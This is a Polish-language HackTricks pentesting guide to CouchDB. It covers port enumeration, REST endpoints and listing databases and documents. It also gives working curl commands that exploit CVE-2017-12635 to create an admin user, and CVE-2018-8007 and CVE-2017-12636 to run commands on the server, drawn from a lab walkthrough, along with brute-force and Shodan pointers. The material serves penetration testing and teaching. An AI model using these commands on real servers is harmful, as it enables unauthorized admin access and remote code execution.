hacktricks/src/network-services-pentesting/5984-pentesting-couchdb.md

221 lines
16 KiB
Markdown

# 5984,6984 - Pentesting CouchDB
{{#include ../banners/hacktricks-training.md}}
## **Podstawowe informacje**
**CouchDB** to wszechstronna i potężna **baza danych zorientowana na dokumenty**, która organizuje dane za pomocą struktury **mapy klucz-wartość** w każdym **dokumencie**. Pola w dokumencie mogą być reprezentowane jako **pary klucz/wartość, listy lub mapy**, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu **dokumentowi** przechowywanemu w CouchDB przypisany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
**Domyślny port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatyczna enumeracja**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Ręczna enumeracja
### Baner
```
curl http://IP:5984/
```
Wysyła to żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej jak jedna z następujących:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
> [!NOTE]
> Zauważ, że jeśli uzyskując dostęp do głównego katalogu couchdb otrzymasz `401 Unauthorized` z czymś takim jak: `{"error":"unauthorized","reason":"Authentication required."}` **nie będziesz mógł uzyskać dostępu** do banera ani żadnego innego punktu końcowego.
### Info Enumeration
To są punkty końcowe, do których możesz uzyskać dostęp za pomocą żądania **GET** i wyodrębnić interesujące informacje. Możesz znaleźć [**więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
- **`/_active_tasks`** Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.
- **`/_all_dbs`** Zwraca listę wszystkich baz danych w instancji CouchDB.
- **`/_cluster_setup`** Zwraca status węzła lub klastra, zgodnie z kreatorem konfiguracji klastra.
- **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu końcowego.
- **`/_membership`** Wyświetla węzły, które są częścią klastra jako `cluster_nodes`. Pole `all_nodes` wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.
- **`/_scheduler/jobs`** Lista zadań replikacji. Opis każdego zadania będzie zawierał informacje o źródle i celu, identyfikator replikacji, historię ostatnich zdarzeń i kilka innych rzeczy.
- **`/_scheduler/docs`** Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel oraz inne informacje.
- **`/_scheduler/docs/{replicator_db}`**
- **`/_scheduler/docs/{replicator_db}/{docid}`**
- **`/_node/{node-name}`** Punkt końcowy `/_node/{node-name}` może być użyty do potwierdzenia nazwy węzła Erlang serwera, który przetwarza żądanie. Jest to najbardziej przydatne przy uzyskiwaniu dostępu do `/_node/_local`, aby uzyskać te informacje.
- **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki dla działającego serwera. Dosłowny ciąg `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` może być zastąpione `_local`, aby interagować z lokalnymi statystykami węzła.
- **`/_node/{node-name}/_system`** Zasób \_system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu dla działającego serwera\_.\_ Możesz użyć \_\_`_local` jako {node-name}, aby uzyskać informacje o bieżącym węźle.
- **`/_node/{node-name}/_restart`**
- **`/_up`** Potwierdza, że serwer jest uruchomiony, działa i jest gotowy do odpowiadania na żądania. Jeśli [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) jest `true` lub `nolb`, punkt końcowy zwróci odpowiedź 404.
- **`/_uuids`** Żąda jednego lub więcej Uniwersalnych Unikalnych Identyfikatorów (UUID) z instancji CouchDB.
- **`/_reshard`** Zwraca liczbę zakończonych, nieudanych, działających, zatrzymanych i wszystkich zadań wraz z stanem reshardingu w klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Jeśli ta prośba **zwraca 401 nieautoryzowany**, potrzebujesz **ważnych poświadczeń** do uzyskania dostępu do bazy danych:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Aby znaleźć ważne dane logowania, możesz **spróbować** [**przeprowadzić atak brute force na usługę**](../generic-hacking/brute-force.md#couchdb).
To jest **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlenia listy baz danych (to tylko lista baz danych):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Informacje o bazie danych
Możesz uzyskać informacje o bazie danych (takie jak liczba plików i rozmiary) uzyskując dostęp do nazwy bazy danych:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista dokumentów**
Wymień każdy wpis w bazie danych
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Przeczytaj dokument**
Przeczytaj zawartość dokumentu w bazie danych:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Eskalacja Uprawnień [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Dzięki różnicom między parserami JSON w Erlangu i JavaScript, możesz **utworzyć użytkownika administratora** z danymi uwierzytelniającymi `hacktricks:hacktricks` za pomocą następującego żądania:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Więcej informacji na temat tej luki tutaj**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Przegląd bezpieczeństwa ciasteczek Erlang**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
W dokumentacji CouchDB, szczególnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest użycie portów przez CouchDB w trybie klastra. Wspomniano, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API węzłów, a co ważne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), co ułatwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne ostrzeżenie dotyczące portu `4369`. Jeśli ten port jest udostępniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpieczeństwo systemu w dużej mierze opiera się na unikalnym identyfikatorze znanym jako "ciasteczko". To ciasteczko działa jako zabezpieczenie. Na przykład, w danej liście procesów, można zaobserwować ciasteczko o nazwie "monster", co wskazuje na jego rolę operacyjną w ramach systemu zabezpieczeń.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Dla tych, którzy są zainteresowani zrozumieniem, jak ten "ciasteczko" może być wykorzystane do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz [**zbadać szczegółowy przewodnik dotyczący nadużywania ciasteczek Erlang dla RCE tutaj**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
### **Wykorzystywanie CVE-2018-8007 poprzez modyfikację local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ostatnio ujawniona luka, CVE-2018-8007, dotycząca Apache CouchDB, została zbadana, ujawniając, że wykorzystanie jej wymaga uprawnień do zapisu w pliku `local.ini`. Chociaż nie jest to bezpośrednio stosowane w początkowym systemie docelowym z powodu ograniczeń bezpieczeństwa, wprowadzono modyfikacje, aby przyznać dostęp do zapisu w pliku `local.ini` w celach eksploracyjnych. Szczegółowe kroki i przykłady kodu są podane poniżej, ilustrując proces.
Najpierw środowisko jest przygotowywane poprzez upewnienie się, że plik `local.ini` jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnień:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Aby wykorzystać lukę, wykonywana jest komenda curl, celująca w konfigurację `cors/origins` w `local.ini`. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji `[os_daemons]`, mając na celu wykonanie dowolnego kodu:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwydatnić zmiany:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Początkowo oczekiwany plik (`/tmp/0xdf`) nie istnieje, co wskazuje, że wstrzyknięte polecenie nie zostało jeszcze wykonane. Dalsze badania ujawniają, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie mógłby wykonać wstrzyknięte polecenie:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Kończąc zidentyfikowany proces CouchDB i pozwalając systemowi na automatyczne jego ponowne uruchomienie, wywoływana jest egzekucja wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
To badania potwierdzają wykonalność eksploatacji CVE-2018-8007 w określonych warunkach, szczególnie wymaganie dostępu do zapisu do pliku `local.ini`. Podane przykłady kodu i kroki proceduralne oferują jasny przewodnik do powtórzenia eksploitu w kontrolowanym środowisku.
Aby uzyskać więcej informacji na temat CVE-2018-8007, zapoznaj się z poradnikiem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini**
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Zbadano podatność znaną jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż konkretne konfiguracje mogą uniemożliwić jej eksploatację. Pomimo licznych odniesień do Proof of Concept (POC) dostępnych w Internecie, konieczne są dostosowania, aby wykorzystać tę podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Początkowe kroki obejmują weryfikację wersji CouchDB i potwierdzenie braku oczekiwanego ścieżki serwerów zapytań:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Aby dostosować się do wersji CouchDB 2.0, wykorzystuje się nową ścieżkę:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Próby dodania i wywołania nowego serwera zapytań spotkały się z błędami związanymi z uprawnieniami, co wskazuje poniższy wynik:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Dalsze dochodzenie ujawniło problemy z uprawnieniami do pliku `local.ini`, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku z dostępem root lub homer, stało się możliwe kontynuowanie:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Kolejne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdza brak komunikatów o błędach w odpowiedzi. Sukces modyfikacji pliku `local.ini` został potwierdzony poprzez porównanie plików:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Proces kontynuował się od utworzenia bazy danych i dokumentu, a następnie próby wykonania kodu za pomocą niestandardowego widoku mapującego do nowo dodanego serwera zapytań:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
- [Kod exploita POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Wpis w bazie danych exploitów](https://www.exploit-db.com/exploits/44913/)
## Shodan
- `port:5984 couchdb`
## Odniesienia
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{{#include ../banners/hacktricks-training.md}}